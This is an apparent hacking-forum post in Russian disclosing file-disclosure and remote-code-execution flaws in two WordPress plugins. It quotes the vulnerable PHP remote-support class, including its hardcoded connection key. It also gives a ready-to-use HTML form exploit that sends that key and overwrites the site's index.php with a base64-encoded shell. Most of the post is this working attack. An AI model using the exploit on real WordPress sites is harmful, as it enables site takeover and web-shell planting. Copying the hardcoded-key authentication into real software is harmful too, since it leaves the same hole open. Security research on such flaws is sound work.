• XSS.stack #1 – первый литературный журнал от юзеров форума

Уязвимости в плагинах WordPress + PoC

krest

RAID-массив
Пользователь
Регистрация
03.12.2014
Сообщения
79
Реакции
4
Были обнаружены уязвимости Local File Disclosure and Remote Code Execute в следующих плагинах WP:
- WordPress Premium SEO Pack 1.8.0
- WordPress WooCommerce Amazon Affiliates

Уязвимость обнаружена исследователем Evex_1337 в марте. После того как он сообщил об этой уязвимости разработчикам, никаких действий с их стороны не было проведено по устранению уязвимости.
Как результат автор опубликовал данную уязвимость в паблик.

Часть уязвимого кода:

Код:
class abmRemoteSupport{

public function __construct(){
$this->load_config();
$this->validate_connection();
$this->triggers();
}

private function load_config(){
require_once( 'remote_init.php' );
$this->config = $aa_tunnel_config;

/* in remote_init.php
* $aa_tunnel_config = array(
* "key" => "69efc4922575861f31125878597e97cf",
* );
*/
}

private function validate_connection(){
$coming_key = isset($_REQUEST['connection_key']) ?
$_REQUEST['connection_key'] : '';
if( trim($coming_key) == "" || $coming_key != $this->config['key']
){
$this->print_error( array('code' => 101,'msg' => "Invalid
key!"), 'fatal' );
}
return true;
}

private function triggers(){
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';
if( $action == 'browse_folder' )
$this->browse_folder();
if( $action == 'open_file' )
$this->open_file();
if( $action == 'save_file' )
$this->save_file();
$this->print_response();
}

private function save_file(){
$file = isset($_REQUEST['file']) ? urldecode($_REQUEST['file']) :
'';
$file_content = isset($_REQUEST['file_content']) ?
@base64_decode($_REQUEST['file_content']) : '';
if( file_exists( $file )) {
$write_file = @file_put_contents( $file, $file_content );
if( $write_file ){
$this->response = array('status' => 'valid','file_path' =>
$file,'file_type' => end( explode(".", $file ) ));
}else{
$this->response = array('status' => 'invalid','msg' =>
'Unable to write on file','file_type' => end( explode(".", $file ) ),
'file_path' => $file);
}
}
}

private function open_file()
{
$file = isset($_REQUEST['file']) ? $this->config['path'] .
$_REQUEST['file'] : '';
if( file_exists( $file ) ) {
$file_content = file_get_contents( $file );
$this->response = array(
'status' => 'valid',
'file_path' => $file,
'file_type' => end( explode(".", $file ) ),
'file_name' => end( explode("/", $file ) ),
'file_alias' => md5( $file ),
'content' => $file_content
);
}
}

new abmRemoteSupport();

Аутентификация производится в функции 'validate_connection'.
Функция проверяет "запрашиваемый ключ"(requested key) с определенным значением в ($this->config['key']).
Пароль содержится в md5 '69efc4922575861f31125878597e97cf', но при аутентификации функция сравнивает значение $_REQUEST['connection_key'] с установленным значением '69efc4922575861f31125878597e97cf' без применения шифрования, что позволяет провести аутентификацию используя, значение '69efc4922575861f31125878597e97cf'

Proof of Concept:
Код:
<form action="
http://wordpress/wp-content/plugins/wwc-amz-aff/modules/remote_support/remote_tunnel.php"
method="post" >
<input type="hidden" name="connection_key"
value="69efc4922575861f31125878597e97cf" >
<input name="action" value="save_file" >

<input name="file" value="../../../index.php">

<textarea name="file_content" >BASE64 ENCODED SHELL</textarea>

<input type="submit" >

</form>

Ссылки:
_http://cxsecurity.com/issue/WLB-2015040190
_http://cxsecurity.com/issue/WLB-2015040192
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх